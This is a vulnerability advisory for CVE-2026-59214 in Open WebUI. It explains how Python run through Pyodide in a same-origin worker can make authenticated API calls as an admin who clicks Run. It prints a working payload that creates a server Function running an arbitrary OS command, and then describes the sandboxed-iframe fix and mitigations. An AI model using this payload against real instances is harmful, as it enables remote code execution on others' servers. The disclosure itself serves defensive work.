high · 7.3CVE-2026-59214Jul 24, 2026

CVE-2026-59214: Open WebUI Stored Web-Worker XSS via Pyodide Same-Origin Code Execution

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privileged Open WebUI user can store a Python snippet in a shared chat that, when run by an admin victim, silently creates a server-side Function containing arbitrary OS commands, giving the…

Packageopen-webui
Ecosystempip
Affected< 0.10.0
Fixed in0.10.0
CVE-2026-59214: Open WebUI Stored Web-Worker XSS via Pyodide Same-Origin Code Execution

The problem

Open WebUI ran its client-side Python engine (Pyodide) in a same-origin web worker. Because the worker shared the page's origin, any Python code executed there could make fully authenticated HTTP requests to the Open WebUI API using the victim's session cookie.

A low-privileged attacker stores a malicious Python payload in a shared chat. When an admin (or any user with workspace.functions / workspace.tools permission) opens the chat and clicks Run, the payload fires authenticated API calls as that victim. The worst-case outcome is server-side RCE: the payload creates a Function whose body is arbitrary Python that the server then executes.

Proof of concept

A working proof-of-concept for CVE-2026-59214 in open-webui, with the exact payload below.

python
# Store this in a shared chat code block, then wait for an admin to click Run
from pyodide.http import pyfetch
import json

await pyfetch(
    '/api/v1/functions/create',
    method='POST',
    credentials='include',
    headers={'Content-Type': 'application/json'},
    body=json.dumps({
        'id': 'x',
        'name': 'x',
        'meta': {'description': 'x'},
        'content': "import os; os.system('<attacker command>')"
    })
)

Pyodide's js bridge gave worker-hosted Python the same network reach as inline JavaScript on the page origin. The pyfetch call to /api/v1/functions/create succeeded with the victim's session cookie because the request was same-origin, so no CORS preflight blocked it and no token had to be stolen separately.

The patch moves Pyodide into an iframe declared with sandbox="allow-scripts" and without allow-same-origin. That gives the iframe an opaque origin, so any fetch or XMLHttpRequest targeting the app becomes a cross-origin request that carries no session cookie and is rejected by CORS.

The js bridge still works, but it now operates on an isolated window with no access to the parent's cookies, localStorage, or DOM. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) because the stored code was treated as trusted, same-origin script.

The fix

Upgrade to open-webui 0.10.0 or later. The Pyodide engine is now marked legacy in admin settings; consider switching the Code Execution engine to a server-side option (Open Terminal) instead. If you must keep Pyodide and need cross-reload IDBFS persistence, setting ENABLE_PYODIDE_FILE_PERSISTENCE=true restores the same-origin worker and re-exposes this attack surface, so leave it off unless strictly necessary.

Until you can upgrade, disable Pyodide code execution entirely or switch to a server-side interpreter.

Reported by gg0h.

References: [1][2][3]

Related research